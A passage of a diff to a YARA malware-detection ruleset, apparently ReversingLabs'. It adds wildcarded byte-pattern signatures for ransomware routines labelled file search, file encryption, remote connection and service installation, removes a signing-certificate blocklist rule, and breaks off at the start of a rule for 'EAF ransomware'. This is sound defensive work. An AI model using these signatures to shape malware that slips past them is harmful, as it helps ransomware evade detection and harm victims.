E8 ?? ?? + ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7 04 + 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 B9 ?? ?? ?? ?? E8 ?? ?? ?? + ?? 83 EC ?? 89 04 24 E8 ?? ?? ?? ?? 89 C1 E8 + } + $remote_connection = { + 55 89 E5 53 81 EC ?? ?? ?? ?? 89 4D ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 + 45 ?? ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 89 45 ?? 8B 45 ?? 89 44 24 ?? C7 + 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 F0 ?? 84 C0 0F 85 ?? ?? ?? ?? 8D 45 ?? 89 C1 E8 + ?? ?? ?? ?? 8B 45 ?? 8B 00 89 45 ?? 8D 45 ?? 89 44 24 ?? 8D 45 ?? 89 44 24 ?? 8D 45 + ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 8D 45 ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? + 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 83 EC ?? 89 45 ?? 83 7D ?? ?? 74 ?? 81 7D ?? ?? ?? + ?? ?? 75 ?? 8B 45 ?? 89 45 ?? C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 39 45 ?? 77 ?? 8D 45 ?? + 89 C1 E8 ?? ?? ?? ?? 8B 45 ?? 8B 10 8D 45 ?? 8D 4D ?? 89 4C 24 ?? 89 14 24 89 C1 E8 + ?? ?? ?? ?? 83 EC ?? 8D 45 ?? 8D 50 ?? 8D 45 ?? 89 04 24 89 D1 E8 ?? ?? ?? ?? 83 EC + ?? 8D 45 ?? 89 C1 E8 ?? ?? ?? ?? 8D 45 ?? 89 C1 E8 ?? ?? ?? ?? 83 45 ?? ?? 83 45 ?? + ?? EB ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 83 EC ?? 81 7D ?? ?? ?? ?? ?? 75 ?? E9 ?? + ?? ?? ?? 8D 45 ?? 83 C0 ?? 89 C1 E8 ?? ?? ?? ?? 85 C0 0F 95 C0 84 C0 74 ?? 8B 45 ?? + 05 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 8D 50 ?? 8D 45 ?? 89 04 24 89 D1 E8 + ?? ?? ?? ?? 83 EC ?? 8B 45 ?? 05 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 90 8D 45 ?? 89 + C1 E8 ?? ?? ?? ?? EB ?? 89 C3 8D 45 ?? 89 C1 E8 ?? ?? ?? ?? EB ?? 89 C3 8D 45 ?? 89 + C1 E8 ?? ?? ?? ?? EB ?? 89 C3 8D 45 ?? 89 C1 E8 ?? ?? ?? ?? 89 D8 89 04 24 E8 ?? ?? + ?? ?? 90 8B 5D ?? C9 C2 + } + $remote_connection_2 = { + 55 89 E5 57 56 53 83 EC ?? 89 4D ?? 8B 5D ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? + ?? C7 45 ?? ?? ?? ?? ?? 89 1C 24 E8 ?? ?? ?? ?? 89 45 ?? 89 44 24 ?? C7 04 24 ?? ?? + ?? ?? E8 ?? ?? ?? ?? 84 C0 0F 84 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? + ?? C7 45 ?? ?? ?? ?? ?? 8B 03 89 45 ?? EB ?? 83 EC ?? 89 45 ?? 85 C0 74 ?? 3D ?? ?? + ?? ?? 74 ?? 81 7D ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 8D 45 ?? 89 44 24 ?? 8D 45 ?? 89 + 44 24 ?? 8D 45 ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 8D 45 ?? 89 44 24 ?? C7 44 24 + ?? ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? EB ?? 8B 45 ?? 89 45 ?? 83 7D ?? ?? + 74 ?? BE ?? ?? ?? ?? 8D 7D ?? EB ?? 83 EC ?? 8D 45 ?? 89 04 24 8D 4D ?? E8 ?? ?? ?? + ?? 83 EC ?? 8B 45 ?? 39 F8 74 ?? 89 04 24 E8 ?? ?? ?? ?? 83 C6 ?? 39 75 ?? 72 ?? 8B + 45 ?? 8B 5C B0 ?? 89 7D ?? B8 ?? ?? ?? ?? 85 DB 74 ?? 89 1C 24 E8 ?? ?? ?? ?? 8D 04 + 43 C6 44 24 ?? ?? 89 44 24 ?? 89 1C 24 8D 4D ?? E8 ?? ?? ?? ?? EB ?? 8B 45 ?? 89 04 + 24 E8 ?? ?? ?? ?? 83 EC ?? E9 ?? ?? ?? ?? 8B 45 ?? 2B 45 ?? C1 F8 ?? 69 C0 ?? ?? ?? + ?? 85 C0 74 ?? 8B 7D ?? 8D 9F ?? ?? ?? ?? 89 1C 24 E8 ?? ?? ?? ?? 8B 47 ?? 3B 47 ?? + 74 ?? 85 C0 74 ?? 8B 55 ?? 89 10 8D 48 ?? 8D 45 ?? 89 04 24 E8 ?? ?? ?? ?? 83 EC ?? + 8B 45 ?? 83 40 ?? ?? 89 1C 24 E8 ?? ?? ?? ?? EB ?? 8B 4D ?? 83 C1 ?? 8D 45 ?? 89 04 + 24 E8 ?? ?? ?? ?? 83 EC ?? EB ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 65 ?? 5B 5E 5F 5D C2 + } + $encrypt_files_3 = { + 55 57 56 53 83 EC ?? 8B 41 ?? 85 C0 75 ?? 8B 84 24 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? + ?? BE ?? ?? ?? ?? 89 F0 83 C4 ?? 5B 5E 5F 5D C2 ?? ?? 89 CB C7 44 24 ?? ?? ?? ?? ?? + 8D 54 24 ?? 89 54 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 04 24 FF + 15 ?? ?? ?? ?? 83 EC ?? 85 C0 74 ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? + C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? + ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ?? 89 04 24 FF 15 ?? ?? ?? ?? 83 EC ?? 89 C7 BE ?? ?? + ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 + 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? + ?? ?? ?? 8B 84 24 ?? ?? ?? ?? 89 04 24 FF 15 ?? ?? ?? ?? 83 EC ?? 89 C2 89 44 24 ?? + 83 F8 ?? 74 ?? 8D 44 24 ?? 89 44 24 ?? 89 14 24 FF 15 ?? ?? ?? ?? 83 EC ?? 89 C6 85 + C0 75 ?? 8B 44 24 ?? 89 04 24 FF 15 ?? ?? ?? ?? 83 EC ?? 89 3C 24 FF 15 ?? ?? ?? ?? + 83 EC ?? 8B 44 24 ?? 89 04 24 FF 15 ?? ?? ?? ?? 83 EC ?? 85 F6 0F 84 ?? ?? ?? ?? 8B + 84 24 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 + 44 24 ?? ?? ?? ?? ?? 8B 44 24 ?? 8B 54 24 ?? 89 44 24 ?? 89 54 24 ?? 8B 43 ?? 89 04 + 24 E8 ?? ?? ?? ?? 89 44 24 ?? 8B 73 ?? 89 74 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 04 24 + E8 ?? ?? ?? ?? 8D 04 B6 01 C0 89 44 24 ?? 89 04 24 E8 ?? ?? ?? ?? 89 C5 C7 44 24 ?? + ?? ?? ?? ?? 8D 44 24 ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ?? 89 + 44 24 ?? 89 3C 24 FF 15 ?? ?? ?? ?? 83 EC ?? 89 C6 85 C0 0F 84 ?? ?? ?? ?? 8B 44 24 + ?? 8B 54 24 ?? 8B 0D ?? ?? ?? ?? 89 4C 24 ?? 89 7C 24 ?? 89 C6 89 D7 89 5C 24 ?? E9 + ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8D 44 24 ?? 89 44 24 ?? 89 5C 24 ?? 8B 44 24 ?? + 89 44 24 ?? 8B 4C 24 ?? 89 0C 24 FF 54 24 ?? 83 EC ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 89 + 5C 24 ?? 8B 44 24 ?? 89 44 24 ?? 89 2C 24 E8 ?? ?? ?? ?? 89 5C 24 ?? 89 5C 24 ?? C7 + 44 24 ?? ?? ?? ?? ?? 8B 44 24 ?? 89 44 24 ?? 8D 44 24 ?? 89 44 24 ?? 89 6C 24 ?? C7 + 44 24 ?? ?? ?? ?? ?? 89 DA 31 F2 09 FA 0F 94 C0 0F B6 C0 89 44 24 ?? C7 44 24 ?? ?? + ?? ?? ?? 8B 44 24 ?? 89 04 24 FF 15 ?? ?? ?? ?? 83 EC ?? 89 C3 FF 15 ?? ?? ?? ?? 85 + C0 78 ?? C7 44 24 ?? ?? ?? ?? ?? 8D 44 24 ?? 89 44 24 ?? 8B 44 24 ?? 89 44 24 ?? 89 + 6C 24 ?? 8B 4C 24 ?? 89 0C 24 FF 15 ?? ?? ?? ?? 83 EC ?? 85 C0 74 ?? 2B 74 24 ?? 1B + 7C 24 ?? 89 FA 09 F2 74 ?? 8B 44 24 ?? 8B 58 ?? B8 ?? ?? ?? ?? 39 F8 0F 82 ?? ?? ?? + ?? 39 F3 0F 47 DE E9 ?? ?? ?? ?? 8B 7C 24 ?? 89 DE EB ?? 8B 7C 24 ?? BE ?? ?? ?? ?? + 85 ED 74 ?? 89 2C 24 E8 ?? ?? ?? ?? 8B 44 24 ?? 85 C0 0F 84 ?? ?? ?? ?? 89 04 24 E8 + ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 7C 24 ?? BE ?? ?? ?? ?? EB + } + $encrypt_files_4 = { + FF 15 ?? ?? ?? ?? 83 EC ?? 89 85 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 88 ?? ?? ?? + ?? 8B 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 + 34 24 89 54 24 ?? 89 44 24 ?? 89 4C 24 ?? FF 95 ?? ?? ?? ?? 83 EC ?? 85 C0 0F 84 ?? + ?? ?? ?? 8B 85 ?? ?? ?? ?? 29 85 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 19 95 ?? ?? ?? ?? 8B + 8D ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 89 D0 89 CA 09 C2 0F 84 ?? ?? ?? ?? 31 D2 3B 95 ?? + ?? ?? ?? 8B 43 ?? 89 95 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 72 ?? 77 ?? 8B 8D ?? ?? ?? ?? + 39 C8 76 ?? 8B 85 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 95 ?? ?? ?? ?? + 89 85 ?? ?? ?? ?? 89 44 24 ?? 8D 8D ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? + C7 44 24 ?? ?? ?? ?? ?? 89 4C 24 ?? 89 54 24 ?? 89 04 24 FF 15 ?? ?? ?? ?? 83 EC ?? + 83 F8 ?? 0F 84 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? + ?? 89 04 24 E8 ?? ?? ?? ?? 89 34 24 8B 35 ?? ?? ?? ?? FF D6 8B 85 ?? ?? ?? ?? 83 EC + ?? 89 04 24 FF D6 8B 85 ?? ?? ?? ?? 83 EC ?? 89 04 24 FF 15 ?? ?? ?? ?? 8B 8D ?? ?? + ?? ?? 83 EC ?? 85 C9 0F 84 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? C7 + 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 44 24 ?? C7 04 24 ?? ?? + ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 40 ?? 8B 88 ?? ?? ?? ?? 85 C9 74 ?? 8B 01 C7 + 04 24 ?? ?? ?? ?? FF 50 ?? 83 EC ?? 0F B7 C0 B9 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? + 83 EC ?? 89 C1 E8 ?? ?? ?? ?? 83 85 ?? ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? + 89 04 24 FF 15 + } + $search_files_3 = { + FF 15 ?? ?? ?? ?? 83 EC ?? 85 C0 0F 84 ?? ?? ?? ?? F6 85 ?? ?? ?? ?? ?? 75 ?? 8B 85 + ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? + 8B 85 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? 89 44 24 ?? 8D 85 ?? ?? ?? ?? 89 04 24 FF D7 83 + EC ?? 85 C0 0F 84 ?? ?? ?? ?? 83 85 ?? ?? ?? ?? ?? EB ?? 90 8D B4 26 ?? ?? ?? ?? 8B + 85 ?? ?? ?? ?? 83 C3 ?? 8B 50 ?? 8B 40 ?? 89 85 ?? ?? ?? ?? 29 D0 C1 F8 ?? 69 C0 ?? + ?? ?? ?? 39 C3 0F 83 ?? ?? ?? ?? 8D 04 5B 8D 34 C5 ?? ?? ?? ?? 8B 04 C2 89 44 24 ?? + 8B 85 ?? ?? ?? ?? 89 04 24 FF D7 83 EC ?? 85 C0 74 ?? 8B 85 ?? ?? ?? ?? 8B 40 ?? 8B + 1C 30 C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 44 24 ?? C7 04 + 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 DB 0F 84 ?? ?? ?? ?? 89 1C 24 E8 ?? ?? ?? ?? 89 5C + 24 ?? 89 44 24 ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 40 ?? 8B 88 + ?? ?? ?? ?? 85 C9 0F 84 ?? ?? ?? ?? 8B 01 C7 04 24 ?? ?? ?? ?? FF 50 ?? 83 EC ?? 0F + B7 C0 B9 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 83 EC ?? 89 C1 E8 ?? ?? ?? ?? 31 F6 E9 + ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 04 24 E8 + ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 83 EC ?? 89 85 ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 89 5C 24 + ?? C7 44 24 ?? ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B 85 ?? ?? ?? + ?? E9 ?? ?? ?? ?? 90 8D 74 26 ?? 8D 85 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 04 24 + E8 + } + $install_service = { + FF 15 ?? ?? ?? ?? 83 EC ?? 85 C0 89 C1 89 44 24 ?? 0F 84 ?? ?? ?? ?? 8B 84 24 ?? ?? + ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 0C 24 89 44 24 ?? FF 15 ?? ?? ?? ?? 83 EC ?? 85 C0 + 89 C3 0F 84 ?? ?? ?? ?? 89 04 24 A1 ?? ?? ?? ?? 8D 6C 24 ?? 8D 7C 24 ?? C7 44 24 ?? + ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 6C 24 ?? 89 7C 24 ?? 89 44 24 ?? FF D0 83 EC + ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 44 24 ?? 83 E0 ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? A1 ?? ?? + ?? ?? 89 44 24 ?? FF D0 8B 74 24 ?? 89 44 24 ?? 83 7C 24 ?? ?? 0F 85 ?? ?? ?? ?? B8 + ?? ?? ?? ?? F7 64 24 ?? B8 ?? ?? ?? ?? C1 EA ?? 81 FA ?? ?? ?? ?? 0F 47 D0 B8 ?? ?? + ?? ?? 81 FA ?? ?? ?? ?? 0F 42 D0 89 14 24 FF 15 ?? ?? ?? ?? 83 EC ?? 89 6C 24 ?? C7 + 44 24 ?? ?? ?? ?? ?? 89 7C 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 1C 24 FF 54 24 ?? 83 EC + ?? 85 C0 74 ?? 3B 74 24 ?? 8B 44 24 ?? 72 ?? FF D0 2B 44 24 ?? 3B 44 24 ?? 76 ?? 89 + 1C 24 8B 1D ?? ?? ?? ?? FF D3 83 EC ?? 8B 44 24 ?? 89 04 24 FF D3 83 EC ?? 83 C4 ?? + 5B 5E 5F 5D C2 ?? ?? 8D B4 26 ?? ?? ?? ?? 8B 44 24 ?? 89 04 24 FF 15 ?? ?? ?? ?? 83 + EC ?? 83 C4 ?? 5B 5E 5F 5D C2 ?? ?? 8D B6 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 + 24 ?? ?? ?? ?? ?? 89 1C 24 FF 15 ?? ?? ?? ?? 83 EC ?? 85 C0 74 ?? 89 6C 24 ?? C7 44 + 24 ?? ?? ?? ?? ?? 89 7C 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 1C 24 FF 54 24 ?? 83 EC ?? + 85 C0 0F 84 ?? ?? ?? ?? 8D B6 ?? ?? ?? ?? 8B 44 24 ?? FF D0 8B 74 24 ?? 89 44 24 ?? + 83 7C 24 ?? ?? 0F 85 ?? ?? ?? ?? B8 ?? ?? ?? ?? F7 64 24 ?? B8 ?? ?? ?? ?? C1 EA ?? + 81 FA ?? ?? ?? ?? 0F 47 D0 B8 ?? ?? ?? ?? 81 FA ?? ?? ?? ?? 0F 42 D0 89 14 24 FF 15 + ?? ?? ?? ?? 83 EC ?? 89 6C 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 7C 24 ?? C7 44 24 ?? ?? + ?? ?? ?? 89 1C 24 FF 54 24 ?? 83 EC ?? 85 C0 0F 84 ?? ?? ?? ?? 3B 74 24 ?? 72 ?? 8B + 44 24 ?? FF D0 2B 44 24 ?? 3B 44 24 ?? 76 ?? E9 + } + $encrypt_files_5 = { + FF 15 ?? ?? ?? ?? 83 EC ?? 89 C7 BE ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? C7 44 24 + ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? + ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ?? 89 04 24 FF + 15 ?? ?? ?? ?? 83 EC ?? 89 C2 89 44 24 ?? 83 F8 ?? 74 ?? 8D 44 24 ?? 89 44 24 ?? 89 + 14 24 FF 15 ?? ?? ?? ?? 83 EC ?? 89 C6 85 C0 75 ?? 8B 44 24 ?? 89 04 24 FF 15 ?? ?? + ?? ?? 83 EC ?? 89 3C 24 FF 15 ?? ?? ?? ?? 83 EC ?? 8B 44 24 ?? 89 04 24 FF 15 ?? ?? + ?? ?? 83 EC ?? 85 F6 0F 84 ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? + E9 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8B 44 24 ?? 8B 54 24 + ?? 89 44 24 ?? 89 54 24 ?? 8B 43 ?? 89 04 24 E8 ?? ?? ?? ?? 89 44 24 ?? 8B 73 ?? 89 + 74 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 8D 04 B6 01 C0 89 44 24 ?? + 89 04 24 E8 ?? ?? ?? ?? 89 C5 C7 44 24 ?? ?? ?? ?? ?? 8D 44 24 ?? 89 44 24 ?? C7 44 + 24 ?? ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ?? 89 44 24 ?? 89 3C 24 FF 15 ?? ?? ?? ?? 83 EC + ?? 89 C6 85 C0 0F 84 ?? ?? ?? ?? 8B 44 24 ?? 8B 54 24 ?? 8B 0D ?? ?? ?? ?? 89 4C 24 + ?? 89 7C 24 ?? 89 C6 89 D7 89 5C 24 ?? E9 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8D 44 + 24 ?? 89 44 24 ?? 89 5C 24 ?? 8B 44 24 ?? 89 44 24 ?? 8B 4C 24 ?? 89 0C 24 FF 54 24 + ?? 83 EC ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 89 5C 24 ?? 8B 44 24 ?? 89 44 24 ?? 89 2C 24 + E8 ?? ?? ?? ?? 89 5C 24 ?? 89 5C 24 ?? C7 44 24 ?? ?? ?? ?? ?? 8B 44 24 ?? 89 44 24 + ?? 8D 44 24 ?? 89 44 24 ?? 89 6C 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 DA 31 F2 09 FA 0F + 94 C0 0F B6 C0 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 8B 44 24 ?? 89 04 24 FF 15 ?? ?? + ?? ?? 83 EC ?? 89 C3 FF 15 ?? ?? ?? ?? 85 C0 78 ?? C7 44 24 ?? ?? ?? ?? ?? 8D 44 24 + ?? 89 44 24 ?? 8B 44 24 ?? 89 44 24 ?? 89 6C 24 ?? 8B 4C 24 ?? 89 0C 24 FF 15 + } + $search_files_4 = { + FF 15 ?? ?? ?? ?? EB ?? FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? FF 15 ?? ?? ?? + ?? 89 C3 C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7 + 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 50 ?? 81 C2 ?? ?? ?? ?? 8B 42 ?? + 83 E0 ?? 83 C8 ?? 89 42 ?? 89 1C 24 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 EC ?? 89 C3 8B + 00 89 DA 03 50 ?? 8B 42 ?? 83 E0 ?? 83 C8 ?? 89 42 ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? + ?? ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 1C 24 E8 ?? ?? ?? ?? 89 1C 24 E8 ?? ?? + ?? ?? 89 C1 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 FF 15 ?? ?? ?? + ?? 83 EC ?? 83 BD ?? ?? ?? ?? ?? 74 ?? 83 BB ?? ?? ?? ?? ?? 74 ?? 8B 85 ?? ?? ?? ?? + 89 04 24 89 D9 E8 ?? ?? ?? ?? 83 EC ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 44 24 + ?? C7 44 24 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 + 04 24 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 EC ?? 89 04 24 E8 ?? ?? ?? ?? 89 C1 E8 ?? ?? + ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7 04 + 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 B9 ?? ?? ?? ?? E8 ?? ?? ?? + ?? 83 EC ?? 89 04 24 E8 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? 8B BD ?? ?? ?? ?? 3B BD ?? + ?? ?? ?? 75 ?? EB ?? 83 EC ?? 83 C7 ?? 39 BD ?? ?? ?? ?? 74 ?? 8B 45 ?? 89 44 24 ?? + 89 3C 24 89 D9 E8 ?? ?? ?? ?? EB ?? BE ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? + ?? 39 D0 74 ?? 89 04 24 E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? + ?? ?? 8D 95 ?? ?? ?? ?? 39 D0 74 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 + ?? ?? ?? ?? 39 D0 74 ?? 89 04 24 E8 ?? ?? ?? ?? 89 F0 8D 65 ?? 5B 5E 5F 5D C2 + } + $remote_connection_3 = { + 55 89 E5 57 56 53 83 EC ?? 89 4D ?? 8B 5D ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? + ?? C7 45 ?? ?? ?? ?? ?? 89 1C 24 E8 ?? ?? ?? ?? 89 45 ?? 89 44 24 ?? C7 04 24 ?? ?? + ?? ?? E8 ?? ?? ?? ?? 84 C0 0F 84 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? + ?? C7 45 ?? ?? ?? ?? ?? 8B 03 89 45 ?? EB ?? 83 EC ?? 89 45 ?? 85 C0 74 ?? 3D ?? ?? + ?? ?? 74 ?? 81 7D ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 8D 45 ?? 89 44 24 ?? 8D 45 ?? 89 + 44 24 ?? 8D 45 ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 8D 45 ?? 89 44 24 ?? C7 44 24 + ?? ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? EB ?? 8B 45 ?? 89 45 ?? 83 7D ?? ?? + 74 ?? BE ?? ?? ?? ?? 8D 7D ?? EB ?? 83 EC ?? 8D 45 ?? 89 04 24 8D 4D ?? E8 ?? ?? ?? + ?? 83 EC ?? 8B 45 ?? 39 F8 74 ?? 89 04 24 E8 ?? ?? ?? ?? 83 C6 ?? 39 75 ?? 72 ?? 8B + 45 ?? 8B 5C B0 ?? 89 7D ?? B8 ?? ?? ?? ?? 85 DB 74 ?? 89 1C 24 E8 ?? ?? ?? ?? 8D 04 + 43 C6 44 24 ?? ?? 89 44 24 ?? 89 1C 24 8D 4D ?? E8 ?? ?? ?? ?? EB ?? 8B 45 ?? 89 04 + 24 E8 ?? ?? ?? ?? 83 EC ?? E9 ?? ?? ?? ?? 8B 45 ?? 2B 45 ?? C1 F8 ?? 69 C0 ?? ?? ?? + ?? 85 C0 74 ?? 8B 7D ?? 8D 9F ?? ?? ?? ?? 89 1C 24 E8 ?? ?? ?? ?? 8B 47 ?? 3B 47 ?? + 74 ?? 85 C0 74 ?? 8B 55 ?? 89 10 8D 48 ?? 8D 45 ?? 89 04 24 E8 ?? ?? ?? ?? 83 EC ?? + 8B 45 ?? 83 40 ?? ?? 89 1C 24 E8 ?? ?? ?? ?? EB ?? 8B 4D ?? 83 C1 ?? 8D 45 ?? 89 04 + 24 E8 ?? ?? ?? ?? 83 EC ?? EB ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 65 ?? 5B 5E 5F 5D C2 ?? + ?? 89 C3 8B 45 ?? 8D 55 ?? 39 D0 74 ?? 89 04 24 E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? + ?? 89 1C 24 E8 ?? ?? ?? ?? 89 C3 EB ?? 53 83 EC ?? 8B 5C 24 ?? 8D 43 ?? 89 04 24 8B + 0B E8 ?? ?? ?? ?? 83 EC ?? C7 44 24 ?? ?? ?? ?? ?? 89 1C 24 E8 ?? ?? ?? ?? C7 04 24 + ?? ?? ?? ?? E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? 83 C4 ?? 5B C3 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Garena Online Pte Ltd" and pe.signatures [ i ] . serial == "28:80:a7:f7:ff:2d:33:4a:a0:87:44:a8:75:4f:ab:2c" and 1393891199 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( ( $search_files and $encrypt_files and $remote_connection ) or ( $encrypt_files_2 and $remote_connection and $search_files ) or ( $search_files_2 and $encrypt_files_3 and $remote_connection_2 ) or ( $install_service and $search_files_3 and $encrypt_files_4 ) or ( $search_files_4 and $encrypt_files_5 and $remote_connection_3 ) ) } - -rule REVERSINGLABS_Cert_Blocklist_0492F5C18E26Fa0Cd7E15067674Aff1C : INFO FILE +rule REVERSINGLABS_Bytecode_MSIL_Ransomware_EAF : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects EAF ransomware." author = "ReversingLabs" - id = "6a176d4a-5d3e-5184-b923-12d561e7034a" - date = "2020-08-05" - modified = "2023-11-08" + id = "6903030e-b1a1-5238-b377-ce8e4b18d3f3" + date = "2022-07-22" + modified = "2022-07-22" reference = "ReversingLabs" - source_url = 